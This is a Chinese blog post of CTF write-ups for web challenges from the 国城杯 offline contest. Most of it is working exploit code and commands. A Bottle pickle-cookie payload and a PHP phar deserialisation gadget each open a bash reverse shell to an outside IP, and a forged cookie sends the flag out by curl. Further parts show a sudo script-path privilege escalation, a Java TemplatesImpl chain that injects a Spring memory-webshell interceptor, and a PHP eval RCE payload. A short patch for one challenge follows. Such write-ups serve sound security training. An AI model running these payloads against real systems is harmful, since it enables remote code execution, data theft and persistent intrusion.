国城杯线下赛 web题解
这应该是我离各位大佬们(物理上)最近的一次。
AWDP 抽象树那题骗的分。不出来说了,招骂。
Mountain
黑盒,进去看源码。
很容易想到有display路由。进去之后同样看源码
根据提示Get fuzz一下出photo参数。传参可以读取图片。
显然这里有个任意文件读。尝试读取/etc/passwd(一开始还想着路径穿越,发现../直接给禁止了,急哭了,后来发现喵的一个/就可以回根目录)
app.py路径未知。先尝试读进程文件/proc/self/cmdline。发现self被waf了,读/proc/1/cmdline
读/appppp/app.py出源码
from bottle import Bottle, route, run, template, request, response
from config.D0g3_GC import Mountain
import os
import re
messages = []
@route("/")
def home():
return template("index")
@route("/hello")
def hello_world():
try:
session = request.get_cookie("name", secret=Mountain)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=Mountain)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "hacker!!! I've caught you"
@route("/display")
def get_image():
photo = request.query.get('photo')
if photo is None:
return template('display')
if re.search("^../|environ|self", photo):
return "Hacker!!! I'll catch you no matter what you do!!!"
requested_path = os.path.join(os.getcwd(), "picture", photo)
try:
if photo.endswith('.png'):
default_png_path = "/appppp/picture/"
pngrequested_path = default_png_path+photo
with open(pngrequested_path, 'rb') as f:
tfile = f.read()
response.content_type = 'image/png'
else:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "you have some errors, continue to try again"
return tfile
@route("/admin")
def admin():
session = request.get_cookie("name", secret=Mountain)
if session and session["name"] == "admin":
return template("administator", messages=messages)
else:
return "No permission!!!!"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8089)
注意到from config.D0g3_GC import Mountain,读取/appppp/config/D0g3_GC.py
得到密钥Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
,尝试通过密钥伪造admin,可以伪造进去,然并卵。得到一个空的message。急哭了。
去网上搜bottle的源码
https://github.com/bottlepy/bottle/blob/master/bottle.py#L2944
尝试SSTI(bushi),发现里面根本就是套jinja2的模板实现的,完全搞不了。
注意到get_cookie函数
是pickle!我们有救了。
可以看到,bootle对cookie的处理很不安全。直接验证了一下签名就进pickle反序列化了。这里我们有密钥,可以伪造签名。
编写exp:
from bottle import cookie_encode
import os
secret = "M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
class Test:
def __reduce__(self):
return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/101.XX.XX.XX/2333 0>&1"')""",))
exp = cookie_encode(
('session', {"name": [Test()]}),
secret
)
print(exp)
直接对着hello路由里的get_cookie打就完了(admin里那个也可以)
Cookie: name=!YOs9lZJn4qOib+WpoHCztLgm2CL6LkuaM1DoDAjVaw8=?gAWViwAAAAAAAACMB3Nlc3Npb26UfZSMBG5hbWWUXZSMCGJ1aWx0aW5zlIwEZXZhbJSTlIxWX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgMTAxLjQzLjQ4LjE5OToyMzMzL2BjYXQgL2ZsYWcvVHJ1ZV9mMWFnX0gzcmUxMXxiYXNlNjRgJymUhZRSlGFzhpQu
D0g3xGC{e1a6ad26-4eba-4c4f-acac-9026385a1c4f}
图片信息查看器
一个登录界面,无admin账户。
图片上传是后缀白名单,但只检测了文件头。还有个读取的功能,还有个owner id(调用了fileowner())。想到phar反序列化
对于php实现的读取功能来说,我就只会一个oracle泄露(((直接脚本跑。
https://github.com/synacktiv/php_filter_chains_oracle_exploit
发现能正常跑出来/etc/passwd。无/flag。先把源码跑出来
读trans1t.php
<?php
error_reporting(0);
include 'class.php';
if(isset($_POST['name'])){
$name = $_POST['name'];
$exception=new B($name);
$exception->greet();
}
发现有class.php,越来越像phar了
读class.php
<?php
class backdoor{
public $cmd;
function __destruct(){
$cmd = $this->cmd;
system($cmd);
}
}
class B{
public $name;
function __construct($name){
$this->name = $name;
}
function greet(){
echo "<h3>hello " . $this->name."</h3><br>";
}
function __destruct(){
echo "<a href='chal13nge.php' class='link-button'>欢迎来到挑战,点击挑战</a><br>";
echo "<!--There's something in the hI3t.php-->";
}
}
?>
确诊phar反序列化。构造phar:
<?php
class backdoor
{
public $cmd = 'bash -c "bash -i >& /dev/tcp/101.XX.XX.XX/2333 0>&1"';
function __destruct()
{
$cmd = $this->cmd;
system($cmd);
}
}
// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$o = new backdoor();
/**
* 将自定义的 meta-data 存入 manifest
* 这个函数需要在php.ini中修改 phar.readonly 为 Off
* 否则的话会抛出
* creating archive "***.phar" disabled by the php.ini setting phar.readonly
* 异常.
*/
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
改后缀为gif。上传,获取图片路径那里传phar://uploads/evil.gif/test.txt
弹到shell。
读flag.sh,发现flag在/root/flag里。(套题去死)
提权,看sudo -l
发现有root权限的/tmp/rootscripts/check.sh,读取/tmp/rootscripts/check.sh
#/bin/sh
${1}/run.sh
在/tmp下创建run.sh
echo "cat /root/flag" > /tmp/run.sh
赋予执行权限
chmod 777 /tmp/run.sh
利用高权限脚本sudo读取flag
sudo /tmp/rootscripts/check.sh "/tmp"
D0g3xGC{2014887f-98fc-4947-8a6e-8e2f0d135ea4}
ez_zhuawa
这题不会。线下真实出题人拿的POC,先贴这。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
public class inject extends AbstractTranslet{
static {
try {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
String className = "com.example.spring.magicInterceptor";
//加载com.example.spring.magicInterceptor类的字节码
String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
//添加com.example.spring.magicInterceptor类到adaptedInterceptors
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Util {
public static void main(String[] args) throws Exception{
TemplatesImpl templates =new TemplatesImpl();
byte [] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\CTF\\ctets\\target\\classes\\inject.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
serialize(templates);
}
public static String serialize(Object obj) throws IOException {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
byte[] serializedBytes = baos.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(serializedBytes));
return Base64.getEncoder().encodeToString(serializedBytes);
}
}
public static Object deserilize(String base64String) throws IOException, ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(base64String);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream in = new ObjectInputStream(bais)) {
return in.readObject();
}
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
AWDP-chemistry_industry
攻击五分钟,防守两小时
攻
注意到FeedbackService.php中有
public function getEmailById($id) {
// 预处理
$stmt = $this->db->prepare("SELECT userid FROM feedback WHERE id = ?");
$stmt->bind_param("i", $id);
// 执行查找操作
if ($stmt->execute()) {
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
$arr = stripslashes($row['userid']);
eval('$arr='.$arr.';');
return $arr;
} else {
return null;
}
} else {
return false;
}
}
明显的eval RCE。。arr参数从数据库中读取,可以用addFeedbackByUserId()往数据库里写东西。意思就是eval参数可控。
注意到Controller.php中有:
if ($className && $methodName) {
if ($className === 'NewsService' && method_exists($NewsService, $methodName))
{
echo $NewsService->$methodName($id);
}
elseif ($className === 'FeedbackService' && method_exists($FeedbackService, $methodName))
{
echo $FeedbackService->$methodName($id);
} else {
echo "无效的类或方法";
}
} else {
echo "缺少类或方法参数";
}
可以调用到FeedbackService中的任意函数
在Services里交一个Feedback。User填?><?php system("cat /flag")
调用/controller.php?c=FeedbackService&m=getEmailById&id=1
得到flag
D0g3xGC{faa0451c-278a-4aab-b638-a51066beb25c}
防
厚RCE waf没用。一开始想着禁止RCE一直过不了(哭)。其实这里是一个未授权,在Controller那里加一个检测是否为admin就好。
将
if ($className && $methodName) {
if ($className === 'NewsService' && method_exists($NewsService, $methodName))
{
echo $NewsService->$methodName($id);
}
elseif ($className === 'FeedbackService' && method_exists($FeedbackService, $methodName))
{
echo $FeedbackService->$methodName($id);
} else {
echo "无效的类或方法";
}
} else {
echo "缺少类或方法参数";
}
改为
session_start();
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
header("Location: admin.php"); // 未登录时重定向到登录页面
exit;
}
if ($className && $methodName) {
if ($className === 'NewsService' && method_exists($NewsService, $methodName))
{
echo $NewsService->$methodName($id);
}
elseif ($className === 'FeedbackService' && method_exists($FeedbackService, $methodName))
{
echo $FeedbackService->$methodName($id);
} else {
echo "无效的类或方法";
}
} else {
echo "缺少类或方法参数";
}
即可通过检测。
本文来自博客园,作者:LamentXU
转载请注明原文链接:https://www.cnblogs.com/LAMENTXU/articles/18622173
关于作者: http://lamentxu.gitlink.net/posts/resume/
QQ: UVHlj7fvvJoxMzcyNDQ5MzUxIOmdnuW4uOmrmOWFtOiupOivhuS9oO+8gQ==
WX: 5b6u5L+h5Y+377yaTGV0c0xhbWVudCDpnZ7luLjpq5jlhbTorqTor4bkvaDvvIE=